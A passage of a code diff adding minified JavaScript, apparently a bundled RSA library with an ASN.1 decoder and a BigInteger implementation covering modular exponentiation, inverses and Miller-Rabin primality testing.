2: + return this.stream.parseInteger(e, e + i); + case 3: + return this.sub ? "(" + this.sub.length + " elem)" : this.stream.parseBitString(e, e + i, t); + case 4: + return this.sub ? "(" + this.sub.length + " elem)" : this.stream.parseOctetString(e, e + i, t); + case 6: + return this.stream.parseOID(e, e + i, t); + case 16: + case 17: + return null !== this.sub ? "(" + this.sub.length + " elem)" : "(no elem)"; + case 12: + return T(this.stream.parseStringUTF(e, e + i), t); + case 18: + case 19: + case 20: + case 21: + case 22: + case 26: + return T(this.stream.parseStringISO(e, e + i), t); + case 30: + return T(this.stream.parseStringBMP(e, e + i), t); + case 23: + case 24: + return this.stream.parseTime(e, e + i, 23 == this.tag.tagNumber) + } + return null + }, t.prototype.toString = function () { + return this.typeName() + "@" + this.stream.pos + "[header:" + this.header + ",length:" + this.length + ",sub:" + (null === this.sub ? "null" : this.sub.length) + "]" + }, t.prototype.toPrettyString = function (t) { + void 0 === t && (t = ""); + var e = t + this.typeName() + " @" + this.stream.pos; + if (this.length >= 0 && (e += "+"), e += this.length, this.tag.tagConstructed ? e += " (constructed)" : !this.tag.isUniversal() || 3 != this.tag.tagNumber && 4 != this.tag.tagNumber || null === this.sub || (e += " (encapsulates)"), e += "\n", null !== this.sub) { + t += " "; + for (var i = 0, r = this.sub.length; i < r; ++i) e += this.sub[i].toPrettyString(t) + } + return e + }, t.prototype.posStart = function () { + return this.stream.pos + }, t.prototype.posContent = function () { + return this.stream.pos + this.header + }, t.prototype.posEnd = function () { + return this.stream.pos + this.header + Math.abs(this.length) + }, t.prototype.toHexString = function () { + return this.stream.hexDump(this.posStart(), this.posEnd(), !0) + }, t.decodeLength = function (t) { + var e = t.get(), i = 127 & e; + if (i == e) return i; + if (i > 6) throw new Error("Length over 48 bits not supported at position " + (t.pos - 1)); + if (0 === i) return null; + e = 0; + for (var r = 0; r < i; ++r) e = 256 * e + t.get(); + return e + }, t.prototype.getHexStringValue = function () { + var t = this.toHexString(), e = 2 * this.header, i = 2 * this.length; + return t.substr(e, i) + }, t.decode = function (e) { + var i; + i = e instanceof E ? e : new E(e, 0); + var r = new E(i), n = new D(i), s = t.decodeLength(i), o = i.pos, h = o - r.pos, a = null, + u = function () { + var e = []; + if (null !== s) { + for (var r = o + s; i.pos < r;) e[e.length] = t.decode(i); + if (i.pos != r) throw new Error("Content size is not correct for container starting at offset " + o) + } else try { + for (; ;) { + var n = t.decode(i); + if (n.tag.isEOC()) break; + e[e.length] = n + } + s = o - i.pos + } catch (t) { + throw new Error("Exception while decoding undefined length content: " + t) + } + return e + }; + if (n.tagConstructed) a = u(); else if (n.isUniversal() && (3 == n.tagNumber || 4 == n.tagNumber)) try { + if (3 == n.tagNumber && 0 != i.get()) throw new Error("BIT STRINGs with unused bits cannot encapsulate."); + a = u(); + for (var c = 0; c < a.length; ++c) if (a[c].tag.isEOC()) throw new Error("EOC is not supposed to be actual content.") + } catch (t) { + a = null + } + if (null === a) { + if (null === s) throw new Error("We can't skip over an invalid tag with undefined length at offset " + o); + i.pos = o + Math.abs(s) + } + return new t(r, h, s, n, a) + }, t + }(), D = function () { + function t(t) { + var e = t.get(); + if (this.tagClass = e >> 6, this.tagConstructed = 0 != (32 & e), this.tagNumber = 31 & e, 31 == this.tagNumber) { + var i = new m; + do { + e = t.get(), i.mulAdd(128, 127 & e) + } while (128 & e); + this.tagNumber = i.simplify() + } + } + + return t.prototype.isUniversal = function () { + return 0 === this.tagClass + }, t.prototype.isEOC = function () { + return 0 === this.tagClass && 0 === this.tagNumber + }, t + }(), + x = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997], + R = (1 << 26) / x[x.length - 1], B = function () { + function t(t, e, i) { + null != t && ("number" == typeof t ? this.fromNumber(t, e, i) : null == e && "string" != typeof t ? this.fromString(t, 256) : this.fromString(t, e)) + } + + return t.prototype.toString = function (t) { + if (this.s < 0) return "-" + this.negate().toString(t); + var e; + if (16 == t) e = 4; else if (8 == t) e = 3; else if (2 == t) e = 1; else if (32 == t) e = 5; else { + if (4 != t) return this.toRadix(t); + e = 2 + } + var i, n = (1 << e) - 1, s = !1, o = "", h = this.t, a = this.DB - h * this.DB % e; + if (h-- > 0) for (a < this.DB && (i = this[h] >> a) > 0 && (s = !0, o = r(i)); h >= 0;) a < e ? (i = (this[h] & (1 << a) - 1) << e - a, i |= this[--h] >> (a += this.DB - e)) : (i = this[h] >> (a -= e) & n, a <= 0 && (a += this.DB, --h)), i > 0 && (s = !0), s && (o += r(i)); + return s ? o : "0" + }, t.prototype.negate = function () { + var e = N(); + return t.ZERO.subTo(this, e), e + }, t.prototype.abs = function () { + return this.s < 0 ? this.negate() : this + }, t.prototype.compareTo = function (t) { + var e = this.s - t.s; + if (0 != e) return e; + var i = this.t; + if (0 != (e = i - t.t)) return this.s < 0 ? -e : e; + for (; --i >= 0;) if (0 != (e = this[i] - t[i])) return e; + return 0 + }, t.prototype.bitLength = function () { + return this.t <= 0 ? 0 : this.DB * (this.t - 1) + F(this[this.t - 1] ^ this.s & this.DM) + }, t.prototype.mod = function (e) { + var i = N(); + return this.abs().divRemTo(e, null, i), this.s < 0 && i.compareTo(t.ZERO) > 0 && e.subTo(i, i), i + }, t.prototype.modPowInt = function (t, e) { + var i; + return i = t < 256 || e.isEven() ? new A(e) : new V(e), this.exp(t, i) + }, t.prototype.clone = function () { + var t = N(); + return this.copyTo(t), t + }, t.prototype.intValue = function () { + if (this.s < 0) { + if (1 == this.t) return this[0] - this.DV; + if (0 == this.t) return -1 + } else { + if (1 == this.t) return this[0]; + if (0 == this.t) return 0 + } + return (this[1] & (1 << 32 - this.DB) - 1) << this.DB | this[0] + }, t.prototype.byteValue = function () { + return 0 == this.t ? this.s : this[0] << 24 >> 24 + }, t.prototype.shortValue = function () { + return 0 == this.t ? this.s : this[0] << 16 >> 16 + }, t.prototype.signum = function () { + return this.s < 0 ? -1 : this.t <= 0 || 1 == this.t && this[0] <= 0 ? 0 : 1 + }, t.prototype.toByteArray = function () { + var t = this.t, e = []; + e[0] = this.s; + var i, r = this.DB - t * this.DB % 8, n = 0; + if (t-- > 0) for (r < this.DB && (i = this[t] >> r) != (this.s & this.DM) >> r && (e[n++] = i | this.s << this.DB - r); t >= 0;) r < 8 ? (i = (this[t] & (1 << r) - 1) << 8 - r, i |= this[--t] >> (r += this.DB - 8)) : (i = this[t] >> (r -= 8) & 255, r <= 0 && (r += this.DB, --t)), 0 != (128 & i) && (i |= -256), 0 == n && (128 & this.s) != (128 & i) && ++n, (n > 0 || i != this.s) && (e[n++] = i); + return e + }, t.prototype.equals = function (t) { + return 0 == this.compareTo(t) + }, t.prototype.min = function (t) { + return this.compareTo(t) < 0 ? this : t + }, t.prototype.max = function (t) { + return this.compareTo(t) > 0 ? this : t + }, t.prototype.and = function (t) { + var e = N(); + return this.bitwiseTo(t, n, e), e + }, t.prototype.or = function (t) { + var e = N(); + return this.bitwiseTo(t, s, e), e + }, t.prototype.xor = function (t) { + var e = N(); + return this.bitwiseTo(t, o, e), e + }, t.prototype.andNot = function (t) { + var e = N(); + return this.bitwiseTo(t, h, e), e + }, t.prototype.not = function () { + for (var t = N(), e = 0; e < this.t; ++e) t[e] = this.DM & ~this[e]; + return t.t = this.t, t.s = ~this.s, t + }, t.prototype.shiftLeft = function (t) { + var e = N(); + return t < 0 ? this.rShiftTo(-t, e) : this.lShiftTo(t, e), e + }, t.prototype.shiftRight = function (t) { + var e = N(); + return t < 0 ? this.lShiftTo(-t, e) : this.rShiftTo(t, e), e + }, t.prototype.getLowestSetBit = function () { + for (var t = 0; t < this.t; ++t) if (0 != this[t]) return t * this.DB + a(this[t]); + return this.s < 0 ? this.t * this.DB : -1 + }, t.prototype.bitCount = function () { + for (var t = 0, e = this.s & this.DM, i = 0; i < this.t; ++i) t += u(this[i] ^ e); + return t + }, t.prototype.testBit = function (t) { + var e = Math.floor(t / this.DB); + return e >= this.t ? 0 != this.s : 0 != (this[e] & 1 << t % this.DB) + }, t.prototype.setBit = function (t) { + return this.changeBit(t, s) + }, t.prototype.clearBit = function (t) { + return this.changeBit(t, h) + }, t.prototype.flipBit = function (t) { + return this.changeBit(t, o) + }, t.prototype.add = function (t) { + var e = N(); + return this.addTo(t, e), e + }, t.prototype.subtract = function (t) { + var e = N(); + return this.subTo(t, e), e + }, t.prototype.multiply = function (t) { + var e = N(); + return this.multiplyTo(t, e), e + }, t.prototype.divide = function (t) { + var e = N(); + return this.divRemTo(t, e, null), e + }, t.prototype.remainder = function (t) { + var e = N(); + return this.divRemTo(t, null, e), e + }, t.prototype.divideAndRemainder = function (t) { + var e = N(), i = N(); + return this.divRemTo(t, e, i), [e, i] + }, t.prototype.modPow = function (t, e) { + var i, r, n = t.bitLength(), s = C(1); + if (n <= 0) return s; + i = n < 18 ? 1 : n < 48 ? 3 : n < 144 ? 4 : n < 768 ? 5 : 6, r = n < 8 ? new A(e) : e.isEven() ? new I(e) : new V(e); + var o = [], h = 3, a = i - 1, u = (1 << i) - 1; + if (o[1] = r.convert(this), i > 1) { + var c = N(); + for (r.sqrTo(o[1], c); h <= u;) o[h] = N(), r.mulTo(c, o[h - 2], o[h]), h += 2 + } + var f, l, p = t.t - 1, g = !0, d = N(); + for (n = F(t[p]) - 1; p >= 0;) { + for (n >= a ? f = t[p] >> n - a & u : (f = (t[p] & (1 << n + 1) - 1) << a - n, p > 0 && (f |= t[p - 1] >> this.DB + n - a)), h = i; 0 == (1 & f);) f >>= 1, --h; + if ((n -= h) < 0 && (n += this.DB, --p), g) o[f].copyTo(s), g = !1; else { + for (; h > 1;) r.sqrTo(s, d), r.sqrTo(d, s), h -= 2; + h > 0 ? r.sqrTo(s, d) : (l = s, s = d, d = l), r.mulTo(d, o[f], s) + } + for (; p >= 0 && 0 == (t[p] & 1 << n);) r.sqrTo(s, d), l = s, s = d, d = l, --n < 0 && (n = this.DB - 1, --p) + } + return r.revert(s) + }, t.prototype.modInverse = function (e) { + var i = e.isEven(); + if (this.isEven() && i || 0 == e.signum()) return t.ZERO; + for (var r = e.clone(), n = this.clone(), s = C(1), o = C(0), h = C(0), a = C(1); 0 != r.signum();) { + for (; r.isEven();) r.rShiftTo(1, r), i ? (s.isEven() && o.isEven() || (s.addTo(this, s), o.subTo(e, o)), s.rShiftTo(1, s)) : o.isEven() || o.subTo(e, o), o.rShiftTo(1, o); + for (; n.isEven();) n.rShiftTo(1, n), i ? (h.isEven() && a.isEven() || (h.addTo(this, h), a.subTo(e, a)), h.rShiftTo(1, h)) : a.isEven() || a.subTo(e, a), a.rShiftTo(1, a); + r.compareTo(n) >= 0 ? (r.subTo(n, r), i && s.subTo(h, s), o.subTo(a, o)) : (n.subTo(r, n), i && h.subTo(s, h), a.subTo(o, a)) + } + return 0 != n.compareTo(t.ONE) ? t.ZERO : a.compareTo(e) >= 0 ? a.subtract(e) : a.signum() < 0 ? (a.addTo(e, a), a.signum() < 0 ? a.add(e) : a) : a + }, t.prototype.pow = function (t) { + return this.exp(t, new O) + }, t.prototype.gcd = function (t) { + var e = this.s < 0 ? this.negate() : this.clone(), i = t.s < 0 ? t.negate() : t.clone(); + if (e.compareTo(i) < 0) { + var r = e; + e = i, i = r + } + var n = e.getLowestSetBit(), s = i.getLowestSetBit(); + if (s < 0) return e; + for (n < s && (s = n), s > 0 && (e.rShiftTo(s, e), i.rShiftTo(s, i)); e.signum() > 0;) (n = e.getLowestSetBit()) > 0 && e.rShiftTo(n, e), (n = i.getLowestSetBit()) > 0 && i.rShiftTo(n, i), e.compareTo(i) >= 0 ? (e.subTo(i, e), e.rShiftTo(1, e)) : (i.subTo(e, i), i.rShiftTo(1, i)); + return s > 0 && i.lShiftTo(s, i), i + }, t.prototype.isProbablePrime = function (t) { + var e, i = this.abs(); + if (1 == i.t && i[0] <= x[x.length - 1]) { + for (e = 0; e < x.length; ++e) if (i[0] == x[e]) return !0; + return !1 + } + if (i.isEven()) return !1; + for (e = 1; e < x.length;) { + for (var r = x[e], n = e + 1; n < x.length && r < R;) r *= x[n++]; + for (r = i.modInt(r); e < n;) if (r % x[e++] == 0) return !1 + } + return i.millerRabin(t) + }, t.prototype.copyTo = function (t) { + for (var e = this.t - 1; e >= 0; --e) t[e] = this[e]; + t.t = this.t, t.s = this.s + }, t.prototype.fromInt = function (t) { + this.t = 1, this.s = t < 0 ? -1 : 0, t > 0 ? this[0] = t : t < -1 ? this[0] = t + this.DV : this.t = 0 + }, t.prototype.fromString = function (e, i) { + var r; + if (16 == i) r = 4; else if (8 == i) r = 3; else if (256 == i) r = 8; else if (2 == i) r = 1; else if (32 == i) r = 5; else { + if (4 != i) return void this.fromRadix(e, i); + r = 2 + } + this.t = 0, this.s = 0; + for (var n = e.length, s = !1, o = 0; --n >= 0;) { + var h = 8 == r ? 255 & +e[n] : H(e, n); + h < 0 ? "-" == e.charAt(n) && (s = !0) : (s = !1, 0 == o ? this[this.t++] = h : o + r > this.DB ? (this[this.t - 1] |= (h & (1 << this.DB - o) - 1) << o, this[this.t++] = h >> this.DB - o) : this[this.t - 1] |= h << o, (o += r) >= this.DB && (o -= this.DB)) + } + 8 == r && 0 != (128 & +e[0]) && (this.s = -1, o > 0 && (this[this.t - 1] |= (1 << this.DB - o) - 1 << o)), this.clamp(), s && t.ZERO.subTo(this, this) + }, t.prototype.clamp = function () { + for (var t = this.s & this.DM; this.t > 0 && this[this.t - 1] == t;) --this.t + }, t.prototype.dlShiftTo = function (t, e) { + var i; + for (i = this.t - 1; i >= 0; --i) e[i + t] = this[i]; + for (i = t - 1; i >= 0; --i) e[i] = 0; + e.t = this.t + t, e.s = this.s + }, t.prototype.drShiftTo = function (t, e) { + for (var i = t; i < this.t; ++i) e[i - t] = this[i]; + e.t = Math.max(this.t - t, 0), e.s = this.s + }, t.prototype.lShiftTo = function (t, e) { + for (var i = t % this.DB, r = this.DB - i, n = (1 << r) - 1, s = Math.floor(t / this.DB), o = this.s << i & this.DM, h = this.t - 1; h >= 0; --h) e[h + s + 1] = this[h] >> r | o, o = (this[h] & n) << i; + for (h = s - 1; h >= 0; --h) e[h] = 0; + e[s] = o, e.t = this.t + s + 1, e.s = this.s, e.clamp() + }, t.prototype.rShiftTo = function (t, e) { + e.s = this.s; + var i = Math.floor(t / this.DB); + if (i >= this.t) e.t = 0; else { + var r = t % this.DB, n = this.DB - r, s = (1 << r) - 1; + e[0] = this[i] >> r; + for (var o = i + 1; o < this.t; ++o) e[o - i - 1] |= (this[o] & s) << n, e[o - i] = this[o] >> r; + r > 0 && (e[this.t - i - 1] |= (this.s & s) << n), e.t = this.t - i, e.clamp() + } + }, t.prototype.subTo = function (t, e) { + for (var i = 0, r = 0, n = Math.min(t.t, this.t); i < n;) r += this[i] - t[i], e[i++] = r & this.DM, r >>= this.DB; + if (t.t < this.t) { + for (r -= t.s; i < this.t;) r += this[i], e[i++] = r & this.DM, r >>= this.DB; + r += this.s + } else { + for (r += this.s; i < t.t;) r -= t[i], e[i++] = r & this.DM, r >>= this.DB; + r -= t.s + } + e.s = r < 0 ? -1 : 0, r < -1 ? e[i++] = this.DV + r : r > 0 && (e[i++] = r), e.t = i, e.clamp() + }, t.prototype.multiplyTo = function (e, i) { + var r = this.abs(), n = e.abs(), s = r.t; + for (i.t = s + n.t; --s >= 0;) i[s] = 0; + for (s = 0; s < n.t; ++s) i[s + r.t] = r.am(0, n[s], i, s, 0, r.t); + i.s = 0, i.clamp(), this.s != e.s && t.ZERO.subTo(i, i) + }, t.prototype.squareTo = function (t) { + for (var e = this.abs(), i = t.t = 2 * e.t; --i >= 0;) t[i] = 0; + for (i = 0; i < e.t - 1; ++i) { + var r = e.am(i, e[i], t, 2 * i, 0, 1); + (t[i + e.t] += e.am(i + 1, 2 * e[i], t, 2 * i + 1, r, e.t - i - 1)) >= e.DV && (t[i + e.t] -= e.DV, t[i + e.t + 1] = 1) + } + t.t > 0 && (t[t.t - 1] += e.am(i, e[i], t, 2 * i, 0, 1)), t.s = 0, t.clamp() + }, t.prototype.divRemTo = function (e, i, r) { + var n = e.abs(); + if (!(n.t <= 0)) { + var s = this.abs(); + if (s.t < n.t) return null != i && i.fromInt(0), void (null != r && this.copyTo(r)); + null == r && (r = N()); + var o = N(), h = this.s, a = e.s, u = this.DB - F(n[n.t - 1]); + u > 0 ? (n.lShiftTo(u, o), s.lShiftTo(u, r)) : (n.copyTo(o), s.copyTo(r)); + var c = o.t, f = o[c - 1]; + if (0 != f) { + var l = f * (1 << this.F1) + (c > 1 ? o[c - 2] >> this.F2 : 0), p = this.FV / l, + g = (1 << this.F1) / l, d = 1 << this.F2, v = r.t, m = v - c, + y = null == i ? N() : i; + for (o.dlShiftTo(m, y), r.compareTo(y) >= 0 && (r[r.t++] = 1, r.subTo(y, r)), t.ONE.dlShiftTo(c, y), y.subTo(o, o); o.t < c;) o[o.t++] = 0; + for (; --m >= 0;) { + var b = r[--v] == f ? this.DM : Math.floor(r[v] * p + (r[v - 1] + d) * g); + if ((r[v] += o.am(0, b, r, m, 0, c)) < b) for (o.dlShiftTo(m, y), r.subTo(y, r); r[v] < --b;) r.subTo(y, r) + } + null != i && (r.drShiftTo(c, i), h != a && t.ZERO.subTo(i, i)), r.t = c, r.clamp(), u > 0 && r.rShiftTo(u, r), h < 0 && t.ZERO.subTo(r, r) + } + } + }, t.prototype.invDigit = function () { + if (this.t < 1) return 0; + var t = this[0]; + if (0 == (1 & t)) return 0; + var e = 3 & t; + return (e = (e = (e = (e = e * (2 - (15 & t) * e) & 15) * (2 - (255 & t) * e) & 255) * (2 - ((65535 & t) * e & 65535)) & 65535) * (2 - t * e % this.DV) % this.DV) > 0 ? this.DV - e : -e + }, t.prototype.isEven = function () { + return 0 == (this.t > 0 ? 1 & this[0] : this.s) + }, t.prototype.exp = function (e, i) { + if (e > 4294967295 || e < 1) return t.ONE; + var r = N(), n = N(), s = i.convert(this), o = F(e) - 1; + for (s.copyTo(r); --o >= 0;) if (i.sqrTo(r, n), (e & 1 << o) > 0) i.mulTo(n, s, r); else { + var h = r; + r = n, n = h + } + return i.revert(r) + }, t.prototype.chunkSize = function (t) { + return Math.floor(Math.LN2 * this.DB / Math.log(t)) + }, t.prototype.toRadix = function (t) { + if (null == t && (t = 10), 0 == this.signum() || t < 2 || t > 36) return "0"; + var e = this.chunkSize(t), i = Math.pow(t, e), r = C(i), n = N(), s = N(), o = ""; + for (this.divRemTo(r, n, s); n.signum() > 0;) o = (i + s.intValue()).toString(t).substr(1) + o, n.divRemTo(r, n, s); + return s.intValue().toString(t) + o + }, t.prototype.fromRadix = function (e, i) { + this.fromInt(0), null == i && (i = 10); + for (var r = this.chunkSize(i), n = Math.pow(i, r), s = !1, o = 0, h = 0, a = 0; a < e.length; ++a) { + var u = H(e, a); + u < 0 ? "-" == e.charAt(a) && 0 == this.signum() && (s = !0) : (h = i * h + u, ++o >= r && (this.dMultiply(n), this.dAddOffset(h, 0), o = 0, h = 0)) + } + o > 0 && (this.dMultiply(Math.pow(i, o)), this.dAddOffset(h, 0)), s && t.ZERO.subTo(this, this) + }, t.prototype.fromNumber = function (e, i, r) { + if ("number" == typeof i) if (e < 2) this.fromInt(1); else for (this.fromNumber(e, r), this.testBit(e - 1) || this.bitwiseTo(t.ONE.shiftLeft(e - 1), s, this), this.isEven() && this.dAddOffset(1, 0); !this.isProbablePrime(i);) this.dAddOffset(2, 0), this.bitLength() > e && this.subTo(t.ONE.shiftLeft(e - 1), this); else { + var n = [], o = 7 & e; + n.length = 1 + (e >> 3), i.nextBytes(n), o > 0 ? n[0] &= (1 << o) - 1 : n[0] = 0, this.fromString(n, 256) + } + }, t.prototype.bitwiseTo = function (t, e, i) { + var r, n, s = Math.min(t.t, this.t); + for (r = 0; r < s; ++r) i[r] = e(this[r], t[r]); + if (t.t < this.t) { + for (n = t.s & this.DM, r = s; r < this.t; ++r) i[r] = e(this[r], n); + i.t = this.t + } else { + for (n = this.s & this.DM, r = s; r < t.t; ++r) i[r] = e(n, t[r]); + i.t = t.t + } + i.s = e(this.s, t.s), i.clamp() + }, t.prototype.changeBit = function (e, i) { + var r = t.ONE.shiftLeft(e); + return this.bitwiseTo(r, i, r), r + }, t.prototype.addTo = function (t, e) { + for (var i = 0, r = 0, n = Math.min(t.t, this.t); i < n;) r += this[i] + t[i], e[i++] = r & this.DM, r >>= this.DB; + if (t.t < this.t) { + for (r += t.s; i < this.t;) r += this[i], e[i++] = r & this.DM, r >>= this.DB; + r += this.s + } else { + for (r += this.s; i < t.t;) r += t[i], e[i++] = r & this.DM, r >>= this.DB; + r += t.s + } + e.s = r < 0 ? -1 : 0, r > 0 ? e[i++] = r : r < -1 && (e[i++] = this.DV + r), e.t = i, e.clamp() + }, t.prototype.dMultiply = function (t) { + this[this.t] = this.am(0, t - 1, this, 0, 0, this.t), ++this.t, this.clamp() + }, t.prototype.dAddOffset = function (t, e) { + if (0 != t) { + for (; this.t <= e;) this[this.t++] = 0; + for (this[e] += t; this[e] >= this.DV;) this[e] -= this.DV, ++e >= this.t && (this[this.t++] = 0), ++this[e] + } + }, t.prototype.multiplyLowerTo = function (t, e, i) { + var r = Math.min(this.t + t.t, e); + for (i.s = 0, i.t = r; r > 0;) i[--r] = 0; + for (var n = i.t - this.t; r < n; ++r) i[r + this.t] = this.am(0, t[r], i, r, 0, this.t); + for (n = Math.min(t.t, e); r < n; ++r) this.am(0, t[r], i, r, 0, e - r); + i.clamp() + }, t.prototype.multiplyUpperTo = function (t, e, i) { + --e; + var r = i.t = this.t + t.t - e; + for (i.s = 0; --r >= 0;) i[r] = 0; + for (r = Math.max(e - this.t, 0); r < t.t; ++r) i[this.t + r - e] = this.am(e - r, t[r], i, 0, 0, this.t + r - e); + i.clamp(), i.drShiftTo(1, i) + }, t.prototype.modInt = function (t) { + if (t <= 0) return 0; + var e = this.DV % t, i = this.s < 0 ? t - 1 : 0; + if (this.t > 0) if (0 == e) i = this[0] % t; else for (var r = this.t - 1; r >= 0; --r) i = (e * i + this[r]) % t; + return i + }, t.prototype.millerRabin = function (e) { + var i = this.subtract(t.ONE), r = i.getLowestSetBit(); + if (r <= 0) return !1; + var n = i.shiftRight(r); + (e = e + 1 >> 1) > x.length && (e = x.length); + for (var s = N(), o = 0; o < e; ++o) { + s.fromInt(x[Math.floor(Math.random() * x.length)]); + var h = s.modPow(n, this); + if (0 != h.compareTo(t.ONE) && 0 != h.compareTo(i)) { + for (var a = 1; a++ < r && 0 != h.compareTo(i);) if (0 == (h = h.modPowInt(2, this)).compareTo(t.ONE)) return !1; + if (0 != h.compareTo(i)) return !1 + } + } + return !0 + }, t.prototype.square = function () { + var t = N(); + return this.squareTo(t), t + }, t.prototype.gcda = function (t, e) { + var i = this.s < 0 ? this.negate() : this.clone(), r = t.s < 0 ? t.negate() : t.clone(); + if (i.compareTo(r) < 0) { + var n = i; + i = r, r = n + } + var s = i.getLowestSetBit(), o = r.getLowestSetBit(); + if (o < 0) e(i); else { + s < o && (o = s), o > 0 && (i.rShiftTo(o, i), r.rShiftTo(o, r)); + var h = function () { + (s = i.getLowestSetBit()) > 0 && i.rShiftTo(s, i), (s = r.getLowestSetBit()) > 0 && r.rShiftTo(s, r), i.compareTo(r) >= 0 ? (i.subTo(r, i), i.rShiftTo(1, i)) : (r.subTo(i, r), r.rShiftTo(1, r)), i.signum() > 0 ? setTimeout(h, 0) : (o > 0 && r.lShiftTo(o, r), setTimeout((function () { + e(r) + }), 0)) + }; + setTimeout(h, 10) + } + }, t.prototype.fromNumberAsync = function (e, i, r, n) { + if ("number" == typeof i) if (e < 2) this.fromInt(1); else { + this.fromNumber(e, r), this.testBit(e - 1) || this.bitwiseTo(t.ONE.shiftLeft(e - 1), s, this), this.isEven() && this.dAddOffset(1, 0); + var o = this, h = function () { + o.dAddOffset(2, 0), o.bitLength() > e && o.subTo(t.ONE.shiftLeft(e - 1), o), o.isProbablePrime(i) ? setTimeout((function () { + n() + }), 0) : setTimeout(h, 0) + }; + setTimeout(h, 0) + } else { + var a = [], u = 7 & e; + a.length = 1 + (e >> 3), i.nextBytes(a), u > 0 ? a[0] &= (1 << u) - 1 : a[0] = 0, this.fromString(a, 256) + } + }, t + }(), O = function () { + function t() { + } + + return t.prototype.convert = function (t) { + return t + }, t.prototype.revert = function (t) { + return t + }, t.prototype.mulTo = function (t, e, i) { + t.multiplyTo(e, i) + }, t.prototype.sqrTo = function (t, e) { + t.squareTo(e) + }, t + }(), A = function () { + function t(t) { + this.m = t + } + + return t.prototype.convert = function (t) { + return t.s < 0 || t.compareTo(this.m) >= 0 ? t.mod(this.m) : t + }, t.prototype.revert = function (t) { + return t + }, t.prototype.reduce = function (t) { + t.divRemTo(this.m, null, t) + }, t.prototype.mulTo = function (t, e, i) { + t.multiplyTo(e, i), this.reduce(i) + }, t.prototype.sqrTo = function (t, e) { + t.squareTo(e), this.reduce(e) + }, t + }(), V = function () { + function t(t) { + this.m = t, this.mp = t.invDigit(), this.mpl = 32767 & this.mp, this.mph = this.mp >> 15, this.um = (1 << t.DB - 15) - 1, this.mt2 = 2 * t.t + } + + return t.prototype.convert = function (t) { + var e = N(); + return t.abs().dlShiftTo(this.m.t, e), e.divRemTo(this.m, null, e), t.s < 0 && e.compareTo(B.ZERO) > 0 && this.m.subTo(e, e), e + }, t.prototype.revert = function (t) { + var e = N(); + return t.copyTo(e), this.reduce(e), e + }, t.prototype.reduce = function (t) { + for (; t.t <= this.mt2;) t[t.t++] = 0; + for (var e = 0; e < this.m.t; ++e) { + var i = 32767 & t[e], + r = i * this.mpl + ((i * this.mph + (t[e] >> 15) * this.mpl & this.um) << 15) & t.DM; + for (t[i = e + this.m.t] += this.m.am(0, r, t, e, 0, this.m.t); t[i] >= t.DV;) t[i] -= t.DV, t[++i]++ + } + t.clamp(), t.drShiftTo(this.m.t, t), t.compareTo(this.m) >= 0 && t.subTo(this.m, t) + }, t.prototype.mulTo = function (t, e, i) { + t.multiplyTo(e, i), this.reduce(i) + }, t.prototype.sqrTo = function (t, e) { + t.squareTo(e), this.reduce(e) + }, t + }(), I = function () { + function t(t) { + this.m = t, this.r2 = N(), this.q3 = N(), B.ONE.dlShiftTo(2 * t.t, this.r2), this.mu = this.r2.divide(t) + } + + return t.prototype.convert = function (t) { + if (t.s < 0 || t.t > 2 * this.m.t) return t.mod(this.m); + if (t.compareTo(this.m) < 0) return t; + var e = N(); + return t.copyTo(e), this.reduce(e), e + }, t.prototype.revert = function (t) { + return t + }, t.prototype.reduce = function (t) { + for (t.drShiftTo(this.m.t - 1, this.r2), t.t > this.m.t + 1 && (t.t = this.m.t + 1, t.clamp()), this.mu.multiplyUpperTo(this.r2, this.m.t + 1, this.q3), this.m.multiplyLowerTo(this.q3, this.m.t + 1, this.r2); t.compareTo(this.r2) < 0;) t.dAddOffset(1, this.m.t + 1); + for (t.subTo(this.r2, t); t.compareTo(this.m) >= 0;) t.subTo(this.m, t) + }, t.prototype.mulTo = function (t, e, i) { + t.multiplyTo(e, i), this.reduce(i) + }, t.prototype.sqrTo = function (t, e) { + t.squareTo(e), this.reduce(e) + }, t + }(); + + function N() { + return new B(null) + } + + function P(t, e) { + return new B(t, e) + } + + var M = "undefined" != typeof navigator; + M && "Microsoft Internet Explorer" == navigator.appName ? (B.prototype.am = function (t, e, i, r, n, s) { + for (var o = 32767 & e, h = e >> 15; --s >= 0;) { + var a = 32767 & this[t], u = this[t++] >> 15, c = h * a + u * o; + n = ((a = o * a + ((32767 & c) << 15) + i[r] + (1073741823 & n)) >>> 30) + (c >>> 15) + h * u + (n >>> 30), i[r++] = 1073741823 & a + } + return n + }, S = 30) : M && "Netscape" != navigator.appName ? (B.prototype.am = function (t, e, i, r, n, s) { + for (; --s >= 0;) { + var o = e * this[t++] + i[r] + n; + n = Math.floor(o / 67108864), i[r++] = 67108863 & o + } + return n + }, S = 26) : (B.prototype.am = function (t, e, i, r, n, s) { + for (var o = 16383 & e, h = e >> 14; --s >= 0;) { + var a = 16383 & this[t], u = this[t++] >> 14, c = h * a + u * o; + n = ((a = o * a + ((16383 & c) << 14) + i[r] + n) >> 28) + (c >> 14) + h * u, i[r++] = 268435455 & a + } + return n + }, S = 28), B.prototype.DB = S, B.prototype.DM = (1 << S) - 1, B.prototype.DV = 1 << S, B.prototype.FV = Math.pow(2, 52), B.prototype.F1 = 52 - S, B.prototype.F2 = 2 * S - 52; + var j, q, L = []; + for (j = "0".charCodeAt(0), q = 0; q <= 9; ++q) L[j++] = q; + for (j = "a".charCodeAt(0), q = 10; q < 36; ++q) L[j++] = q; + for (j = "A".charCodeAt(0), q = 10; q < 36; ++q) L[j++] = q; + + function H(t, e) { + var i = L[t.charCodeAt(e)]; + return null == i ? -1 : i + } + + function C(t) { + var e = N(); + return e.fromInt(t), e + } + + function F(t) { + var e, i = 1; + return 0 != (e = t >>> 